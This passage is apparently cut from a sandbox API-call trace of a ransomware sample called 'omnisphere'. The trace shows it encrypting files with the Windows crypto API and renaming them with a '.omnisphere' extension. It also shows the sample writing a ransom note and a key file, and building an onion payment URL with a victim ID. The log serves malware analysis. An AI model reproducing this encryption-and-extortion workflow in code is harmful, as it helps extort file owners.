pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.526] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.527] CryptDestroyKey (hKey=0x1639868) returned 1 [0119.527] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0119.527] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x5a1, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.528] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.528] GetProcessHeap () returned 0x1600000 [0119.528] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16bbd00 [0119.528] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AGjmuyB-BW6pOtioq.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\agjmuyb-bw6potioq.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AGjmuyB-BW6pOtioq.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\agjmuyb-bw6potioq.lnk.omnisphere")) returned 1 [0119.529] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AGjmuyB-BW6pOtioq.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AGjmuyB-BW6pOtioq.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AGjmuyB-BW6pOtioq.lnk.omnisphere.id" [0119.529] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AGjmuyB-BW6pOtioq.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\agjmuyb-bw6potioq.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.529] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.531] CloseHandle (hObject=0x3c0) returned 1 [0119.532] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.532] CloseHandle (hObject=0x288) returned 1 [0119.532] SetEndOfFile (hFile=0x28c) returned 1 [0119.532] FlushFileBuffers (hFile=0x28c) returned 1 [0119.538] CloseHandle (hObject=0x28c) returned 1 [0119.539] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AGjmuyB-BW6pOtioq.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.539] GetProcessHeap () returned 0x1600000 [0119.539] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16bbfc8 [0119.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.539] GetProcessHeap () returned 0x1600000 [0119.539] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2068 [0119.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2068, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.539] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.539] GetProcessHeap () returned 0x1600000 [0119.539] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afc88 [0119.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afc88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.539] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.539] GetProcessHeap () returned 0x1600000 [0119.539] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2c60 [0119.539] PathCombineW (in: pszDest=0x16a2c60, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.539] GetProcessHeap () returned 0x1600000 [0119.539] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b6258 [0119.539] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.540] WriteFile (in: hFile=0x28c, lpBuffer=0x16b6258*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b6258*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.540] CloseHandle (hObject=0x28c) returned 1 [0119.540] GetProcessHeap () returned 0x1600000 [0119.540] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bbfc8 | out: hHeap=0x1600000) returned 1 [0119.540] GetProcessHeap () returned 0x1600000 [0119.540] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.540] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.540] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.541] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.541] CloseHandle (hObject=0x28c) returned 1 [0119.541] GetProcessHeap () returned 0x1600000 [0119.541] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.541] GetProcessHeap () returned 0x1600000 [0119.541] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a2980 | out: hHeap=0x1600000) returned 1 [0119.541] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227916b3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x227916b3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x227916b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x0, dwReserved1=0xd3, cFileName="aPnyZYbrX3YqN-JqGl2Q.lnk", cAlternateFileName="APNYZY~1.LNK")) returned 1 [0119.541] GetProcessHeap () returned 0x1600000 [0119.541] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x166ab78 [0119.541] PathCombineW (in: pszDest=0x166ab78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="aPnyZYbrX3YqN-JqGl2Q.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnyZYbrX3YqN-JqGl2Q.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnyZYbrX3YqN-JqGl2Q.lnk" [0119.541] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnyZYbrX3YqN-JqGl2Q.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\apnyzybrx3yqn-jqgl2q.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.542] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=698) returned 1 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.542] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] GetTickCount () returned 0x115dde9 [0119.543] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f88) returned 1 [0119.544] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0119.544] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.545] CryptDestroyKey (hKey=0x1639868) returned 1 [0119.545] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0119.545] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ba, lpName=0x0) returned 0x288 [0119.545] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ba) returned 0x1480000 [0119.545] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0119.546] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0119.546] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.546] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.546] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.546] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.546] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 